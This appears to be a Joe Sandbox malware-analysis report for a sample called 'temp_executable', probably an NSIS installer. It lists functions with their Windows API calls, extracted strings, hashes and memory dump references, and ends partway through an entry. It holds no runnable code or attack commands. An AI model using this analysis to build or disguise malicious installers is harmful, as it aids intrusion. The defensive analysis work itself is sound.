API String ID: 2901622961-0
Opcode ID: e3a3b5db6e8f7872d6748160a89fdbae3d99834f52d0e9e06fc12283005a9987
Instruction ID: 6359324f75213449b6abc0588f6453f91f7fc730003d35bba9c6bb800d03804c
Opcode Fuzzy Hash: e3a3b5db6e8f7872d6748160a89fdbae3d99834f52d0e9e06fc12283005a9987
Instruction Fuzzy Hash: BEA1C5B1205704BBD320AB25DD49F5B7FADFF88750F01493EF681A62A1CB788841CB69

Function 00404F6D Relevance: 52.9, APIs: 35, Instructions: 374
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404FAC
ShowWindow.USER32(?), ref: 00404FD6
GetWindowLongW.USER32(?,000000F0), ref: 00404FE7
ShowWindow.USER32(?,00000004), ref: 00405003
GetDlgItem.USER32(?,00000001), ref: 0040512A
GetDlgItem.USER32(?,00000002), ref: 00405134
SetClassLongW.USER32(?,000000F2,?), ref: 0040514E
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040519C
GetDlgItem.USER32(?,00000003), ref: 0040524B
ShowWindow.USER32(00000000,?), ref: 00405274
EnableWindow.USER32(?,?), ref: 00405288
EnableWindow.USER32(?), ref: 0040529C
EnableWindow.USER32(?), ref: 004052B4
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004052CB
EnableMenuItem.USER32(00000000), ref: 004052D2
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004052E3
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004052FA
lstrlenW.KERNEL32(004211D0,?,004211D0,00000000), ref: 0040532B

Part of subcall function 00405E95: lstrcatW.KERNEL32(00427CA0,\Microsoft\Internet Explorer\Quick Launch,?,?,00424200,?,?,?,?,?,00000000,?,?), ref: 0040604B

SetWindowTextW.USER32(?,004211D0), ref: 00405343

Part of subcall function 00401399: MulDiv.KERNEL32(?,00007530,00000000), ref: 004013F9
Part of subcall function 00401399: SendMessageW.USER32(?,00000402,00000000), ref: 00401409

DestroyWindow.USER32(?,00000000), ref: 0040538B
CreateDialogParamW.USER32(?,?,FFBD62DF), ref: 004053BF

Part of subcall function 004054F5: SetDlgItemTextW.USER32(?,?,00000000), ref: 0040550F

GetDlgItem.USER32(?,000003FA), ref: 004053E8
GetWindowRect.USER32(00000000), ref: 004053EF
ScreenToClient.USER32(?,?), ref: 004053FB
SetWindowPos.USER32(00000000,?,?,00000000,00000000,00000015), ref: 00405414
ShowWindow.USER32(00000008,?,00000000), ref: 00405433

Part of subcall function 004054C3: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004054D5

ShowWindow.USER32(?,0000000A), ref: 00405479

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Enable$LongMenuText$ClassClientCreateDestroyDialogParamRectScreenSystemlstrcatlstrlen
String ID:
API String ID: 3304020681-0
Opcode ID: 2c232c3c4cd4abe9946bd1abf6ab45f170ff85d80f4d9d15ff1c79bd8826187f
Instruction ID: 1b19c71cd4f81cfbd26a1cf5418529817e88c436646d4b9e8708edd60e3e664c
Opcode Fuzzy Hash: 2c232c3c4cd4abe9946bd1abf6ab45f170ff85d80f4d9d15ff1c79bd8826187f
Instruction Fuzzy Hash: C4D1C070601A11AFDB206F21ED48A6B7BA8FB48355F40453EF945B21F0CB399852DFAD

Function 00403D65 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 221
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckDlgButton.USER32(?,?,00000001), ref: 00403E04
EnableWindow.USER32(?), ref: 00403E11
GetDlgItem.USER32(?,000003E8), ref: 00403E1D
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00403E39
GetSysColor.USER32(?), ref: 00403E4A
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00403E58
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00403E66
lstrlenW.KERNEL32(?), ref: 00403E6C
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00403E79
SendMessageW.USER32(00000000,00000449,?,?), ref: 00403E90
GetDlgItem.USER32(?,0000040A), ref: 00403EEC
SendMessageW.USER32(00000000), ref: 00403EF3
EnableWindow.USER32(00000000), ref: 00403F10
GetDlgItem.USER32(0000004E,000003E8), ref: 00403F34
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 00403F89
LoadCursorW.USER32(00000000,00007F02), ref: 00403F9B
SetCursor.USER32(00000000), ref: 00403FA4

Part of subcall function 004069CE: ShellExecuteExW.SHELL32(?), ref: 004069DD

LoadCursorW.USER32(00000000,00007F00), ref: 00403FE6
SetCursor.USER32(00000000), ref: 00403FE9
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404015
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040402D

Strings

N, xrefs: 00403F20

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: MessageSend$Cursor$Item$EnableLoadWindow$ButtonCheckColorExecuteShelllstrlen
String ID: N
API String ID: 3270077613-1130791706
Opcode ID: 9fe76440a7bbb49420d9e25e1a97e0c0d372ca4686a6a0a345b6597793e48a1e
Instruction ID: 4fa98256382c23a77b640614663c001b7206c978ba46bfa2c34382a940cfe240
Opcode Fuzzy Hash: 9fe76440a7bbb49420d9e25e1a97e0c0d372ca4686a6a0a345b6597793e48a1e
Instruction Fuzzy Hash: A881B0B1604308AFD710AF24DD44A6B7BE9FF88345F41083EF641A72A1CB789945CF59

Function 00405A19 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 225
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004068C1: GetModuleHandleA.KERNEL32(UXTHEME,Error writing temporary file. Make sure your temp folder is valid.,UXTHEME,004037EB,0000000B), ref: 004068CF
Part of subcall function 004068C1: GetProcAddress.KERNEL32(00000000), ref: 004068EB

lstrcatW.KERNEL32(00436000,004211D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004211D0,00000000,00000002,00000000,76073420,00000000,76073170), ref: 00405A9C
lstrlenW.KERNEL32(00427CA0,?,?,?,00427CA0,00000000,00434800,00436000,004211D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004211D0,00000000,00000002,00000000), ref: 00405B20
lstrcmpiW.KERNEL32(-000000FC,.exe,00427CA0,?,?,?,00427CA0,00000000,00434800,00436000,004211D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004211D0,00000000), ref: 00405B35
GetFileAttributesW.KERNEL32(00427CA0), ref: 00405B40
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00434800), ref: 00405B89

Part of subcall function 004065FA: wsprintfW.USER32 ref: 00406607

RegisterClassW.USER32(00428CA0), ref: 00405BCE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405BE5
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405C1A
ShowWindow.USER32(00000005,00000000), ref: 00405C4C
GetClassInfoW.USER32(00000000,RichEdit20W,00428CA0), ref: 00405C77
GetClassInfoW.USER32(00000000,RichEdit,00428CA0), ref: 00405C84
RegisterClassW.USER32(00428CA0), ref: 00405C91
DialogBoxParamW.USER32(?,00000000,00404F6D,00000000), ref: 00405CAC

Strings

RichEdit20W, xrefs: 00405C71, 00405C87
Control Panel\Desktop\ResourceLocale, xrefs: 00405A59
RichEd32, xrefs: 00405C60
RichEdit, xrefs: 00405C7E
_Nb, xrefs: 00405BAD, 00405C14
.exe, xrefs: 00405B2F
.DEFAULT\Control Panel\International, xrefs: 00405A87
RichEd20, xrefs: 00405C52

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: 7826c34372ab1de799e47c1a445c5beb8b4d289113b4383a7413856266521f1e
Instruction ID: 997547c739dba09290e01480a6769471c967da196cfb38af9b733d4135fa1862
Opcode Fuzzy Hash: 7826c34372ab1de799e47c1a445c5beb8b4d289113b4383a7413856266521f1e
Instruction Fuzzy Hash: 1A610370201601BAE620AB76AD42F2B366CEB04758F51443FF945B62E1DF78AC018B7D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 0040102E
BeginPaint.USER32(?,?), ref: 0040104C
GetClientRect.USER32(?,?), ref: 00401062
CreateBrushIndirect.GDI32(00000000), ref: 004010DF
FillRect.USER32(00000000,?,00000000), ref: 004010F3
DeleteObject.GDI32(00000000), ref: 004010FA
CreateFontIndirectW.GDI32(?), ref: 00401120
SetBkMode.GDI32(00000000,00000001), ref: 00401143
SetTextColor.GDI32(00000000,000000FF), ref: 0040114D
SelectObject.GDI32(00000000,00000000), ref: 0040115B
DrawTextW.USER32(00000000,00428D00,000000FF,?,00000820), ref: 00401171
SelectObject.GDI32(00000000,00000000), ref: 00401179
DeleteObject.GDI32(?), ref: 0040117F
EndPaint.USER32(?,?), ref: 0040118E

Strings

F, xrefs: 0040100A

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: d731168a47aac58058028b36b6280044d0ca24b31d8de32a1a16c1507812eb21
Instruction ID: d36771556e1314171d00f7341d5a6d6cd4ef22ea24e197e6f7dda2bcd3f0aae3
Opcode Fuzzy Hash: d731168a47aac58058028b36b6280044d0ca24b31d8de32a1a16c1507812eb21
Instruction Fuzzy Hash: 3041AD720083509FC7159F65CE4896BBBE9FF88715F150A2EF9D1A22A0CA34C904CFA6

Function 0040154A Relevance: 25.9, APIs: 17, Instructions: 441stringtimesleepCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 004015F1
Sleep.KERNEL32(00000001,?,00000000,00000000), ref: 00401628
SetForegroundWindow.USER32 ref: 00401634
ShowWindow.USER32(?,00000000,?,?,00000000,00000000), ref: 004016D3
ShowWindow.USER32(?,?,?,?,00000000,00000000), ref: 004016E8
SetFileAttributesW.KERNEL32(00000000,?,000000F0,?,?,00000000,00000000), ref: 004016FB
GetFileAttributesW.KERNEL32(00000000,00000000,00000000,0000005C,00000000,000000F0,?,?,00000000,00000000), ref: 0040176A
SetCurrentDirectoryW.KERNEL32(00000000,00435000,00000000,000000E6,0040A8C8), ref: 004017A3
MoveFileW.KERNEL32(00000000,00000000), ref: 004017EE
GetFullPathNameW.KERNEL32(00000000,00000400,00000000,0040A8C8,00000000,000000E3,0040A8C8,?,?,00000000,00000000), ref: 00401843
GetShortPathNameW.KERNEL32(00000000,00000000,00000400), ref: 00401890
SearchPathW.KERNEL32(00000000,00000000,00000000,00000400,00000000,?,000000FF,?,?,00000000,00000000), ref: 004018B0
lstrcatW.KERNEL32(00000000,00000000,0040A0C8,00435000,00000000,00000000,00000031,00000000,00000000,000000EF,?,?,00000000,00000000), ref: 00401920
CompareFileTime.KERNEL32(-00000014,00000000,0040A0C8,0040A0C8,00000000,00000000,0040A0C8,00435000,00000000,00000000,00000031,00000000,00000000,000000EF), ref: 00401948
SetFileTime.KERNEL32(00000000,000000FF,00000000,000000FF,0040A0C8,00000000,00000000,00000000,000000EA,00000000,0040A0C8,40000000,00000001,0040A0C8,00000000), ref: 00401A5A
CloseHandle.KERNEL32(00000000), ref: 00401A61
lstrcatW.KERNEL32(0040A0C8,00000000,0040A0C8,000000E9), ref: 00401A82

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: File$PathWindow$AttributesNameShowTimelstrcat$CloseCompareCurrentDirectoryForegroundFullHandleMessageMovePostQuitSearchShortSleep
String ID:
API String ID: 3895412863-0
Opcode ID: b1db98a04f2ea93b77a26ffd797c3cbd4516fe2c3c1e967b323529ad46c310ba
Instruction ID: ebeff723cfbe9b45e3b0b0a6f17a4e6c0cbf30734010ce9bbeaf93aeca8f714e
Opcode Fuzzy Hash: b1db98a04f2ea93b77a26ffd797c3cbd4516fe2c3c1e967b323529ad46c310ba
Instruction Fuzzy Hash: 93D1F971614301ABC720BF26CD85D2B76A8EF85758F10463FF452B22E1DB7CD8029A6E

Function 004062E1 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 124memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,00000000,?,00406239,?,?), ref: 0040631C
GetShortPathNameW.KERNEL32(00000000,00426E48,00000400), ref: 00406325
GetShortPathNameW.KERNEL32(?,00426648,00000400), ref: 00406342
wsprintfA.USER32 ref: 00406360
GetFileSize.KERNEL32(00000000,00000000,00426648,C0000000,00000004,00426648,?), ref: 00406398
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 004063A8
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 004063D8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,00000000,00426248,00000000,-0000000A,00408984,00000000,[Rename],00000000,00000000,00000000), ref: 004063F8
GlobalFree.KERNEL32(00000000), ref: 0040640A
CloseHandle.KERNEL32(00000000), ref: 00406411

Part of subcall function 004068F6: GetFileAttributesW.KERNEL32(00000003,0040340A,00437800,80000000,00000003,?,?,?,?,?), ref: 004068FA
Part of subcall function 004068F6: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000000,00000000,?,?,?,?,?), ref: 0040691A

Strings

%ls=%ls, xrefs: 00406356
[Rename], xrefs: 004063C0, 004063CF
HnB, xrefs: 004062F7
HfB, xrefs: 00406338

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShort$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$HfB$HnB$[Rename]
API String ID: 2900126502-165592708
Opcode ID: 0ea2030678874ad7a3f9729cc5491540557c07a213c150c7bef55d2ab97d4cc7
Instruction ID: 28d4088f706ad7906ef0a9a5075647bec21de1d5f4d95c1c1de34b852c29caff
Opcode Fuzzy Hash: 0ea2030678874ad7a3f9729cc5491540557c07a213c150c7bef55d2ab97d4cc7
Instruction Fuzzy Hash: 9431E5B12002217BD6206B359D49F7B3A5CDF81748F56443EF942BA2C2DA7DD8624A7C

Function 00404060 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 281COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004040B1
SetWindowTextW.USER32(00000000,?), ref: 004040DB

Part of subcall function 00406A15: GetDlgItemTextW.USER32(?,?,00000400,00404F27), ref: 00406A28

Part of subcall function 00406D18: CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406D8D
Part of subcall function 00406D18: CharNextW.USER32(?,?,?,00000000), ref: 00406D9C
Part of subcall function 00406D18: CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406DA1
Part of subcall function 00406D18: CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406DB9

Strings

A, xrefs: 0040419E

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Char$Next$ItemText$PrevWindow
String ID: A
API String ID: 4089110348-3554254475
Opcode ID: 7ee0f7904150dc878aeeec4f98168d1ec89735afe044028777f232ef559c64d1
Instruction ID: 90192ee12d8343b5cbbbf9dcfc6b809e920884bf694149bd8a4c84d13eeda86d
Opcode Fuzzy Hash: 7ee0f7904150dc878aeeec4f98168d1ec89735afe044028777f232ef559c64d1
Instruction Fuzzy Hash: E391B1B1704311ABD720AFA6DD81A6B76A8AF84704F40043FFB45B62D1DB7CD9418B6E

Function 004033C8 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004033DB
GetModuleFileNameW.KERNEL32(00000000,00437800,00000400,?,?,?,?,?), ref: 004033F7

Part of subcall function 004068F6: GetFileAttributesW.KERNEL32(00000003,0040340A,00437800,80000000,00000003,?,?,?,?,?), ref: 004068FA
Part of subcall function 004068F6: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000000,00000000,?,?,?,?,?), ref: 0040691A

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,00435800,00435800,00437800,00437800,80000000,00000003,?,?,?,?,?), ref: 00403441
GlobalAlloc.KERNEL32(00000040,?,?,?,?,?,?), ref: 0040359B

Strings

Null, xrefs: 004034C9
soft, xrefs: 004034BF
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 0040361B
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004033CE
Error launching installer, xrefs: 00403417
Inst, xrefs: 004034B5

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: 063ae2e08def868f8eacef01b396c4efa7ff10199d47aae5f76f976b6e82b3ce
Instruction ID: a22a3d629960f4d7b6f8438a3768dc05bd31f949a9b5a180d7de35419ae1bb07
Opcode Fuzzy Hash: 063ae2e08def868f8eacef01b396c4efa7ff10199d47aae5f76f976b6e82b3ce
Instruction Fuzzy Hash: 2B51EE71640300AFD720AF21DD81B1B7AA8AB88719F10493FF985772E1C7398E458B6E

Function 32E1A1F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32E1A25D
RtlDebugPrintTimes.NTDLL ref: 32E1A2F1
RtlDebugPrintTimes.NTDLL ref: 32E1A314
RtlDebugPrintTimes.NTDLL ref: 32E1A340
RtlDebugPrintTimes.NTDLL ref: 32E1A415
RtlDebugPrintTimes.NTDLL ref: 32E1A468
RtlDebugPrintTimes.NTDLL ref: 32E1A487
RtlDebugPrintTimes.NTDLL ref: 32E1A4B8

Strings

HEAP: , xrefs: 32E1A206

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP:
API String ID: 3446177414-2466845122
Opcode ID: 4d892a74a398271a3eb768a347cca903e8cd2725cbd2fecb733c40d6b6cbcab0
Instruction ID: f6b79509155fbd2e223b9687e5578e38560cf82aa1bedb5a803c09f57a12c1f7
Opcode Fuzzy Hash: 4d892a74a398271a3eb768a347cca903e8cd2725cbd2fecb733c40d6b6cbcab0
Instruction Fuzzy Hash: 2FA18B75A043118FD708CE28C896A2AB7E5FF88358F59897DEA45DB310EB70EC45CB91

Function 00405E95 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(00427CA0,00000400), ref: 00405FBF

Part of subcall function 00406AF5: lstrcpynW.KERNEL32(?,?,00000400,0040384C,00428D00,NSIS Error), ref: 00406B02

Part of subcall function 00406D18: CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406D8D
Part of subcall function 00406D18: CharNextW.USER32(?,?,?,00000000), ref: 00406D9C
Part of subcall function 00406D18: CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406DA1
Part of subcall function 00406D18: CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406DB9

GetWindowsDirectoryW.KERNEL32(00427CA0,00000400,00424200,?,?,?,?,?,00000000,?,?), ref: 00405FD2
lstrcatW.KERNEL32(00427CA0,\Microsoft\Internet Explorer\Quick Launch,?,?,00424200,?,?,?,?,?,00000000,?,?), ref: 0040604B
lstrlenW.KERNEL32(00427CA0,00424200,?,?,?,?,?,00000000,?,?), ref: 004060A5

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406045
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405F8A

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Char$Next$Directory$PrevSystemWindowslstrcatlstrcpynlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4187626192-730719616
Opcode ID: e881fb0b28361bdc3f8f7ae5213684426e418320bb2e4e194c901d83aeea876e
Instruction ID: 94fe74e46bfd99ff5e6600c27bcf33d7150fb5fb58e2d65541bf0035bd99d3a3
Opcode Fuzzy Hash: e881fb0b28361bdc3f8f7ae5213684426e418320bb2e4e194c901d83aeea876e
Instruction Fuzzy Hash: 0F61E5312442159BDB20AB288D40A3B77A4EF58750F11443FF986F72D1DB7CD9219BAE

Function 32D77550 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Processing section info %ws..., xrefs: 32DB4592
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 32DB4460
Execute=1, xrefs: 32DB451E
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 32DB454D
ExecuteOptions, xrefs: 32DB44AB
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 32DB4530
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 32DB4507

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 20417e84a9a0dc4e9e07421efb340009da0a47822612df4fe5165c54fe5f119a
Instruction ID: 68c46373b1acd962265a3e7a698ffc65856be9a51ede7c4d93274fe443e87027
Opcode Fuzzy Hash: 20417e84a9a0dc4e9e07421efb340009da0a47822612df4fe5165c54fe5f119a
Instruction Fuzzy Hash: B651B471A00359AAFF14DFA8EC95FAD77A8AF08744F4008E9D505A7381EFB4DA45CE60

Function 32D5A170 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404COMMON

Download Yara Rule

Strings

SsHd, xrefs: 32D5A304
Actx , xrefs: 32DA7819, 32DA7880
RtlpFindActivationContextSection_CheckParameters, xrefs: 32DA77DD, 32DA7802
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 32DA7807
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 32DA77E2
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 32DA78F3

Memory Dump Source

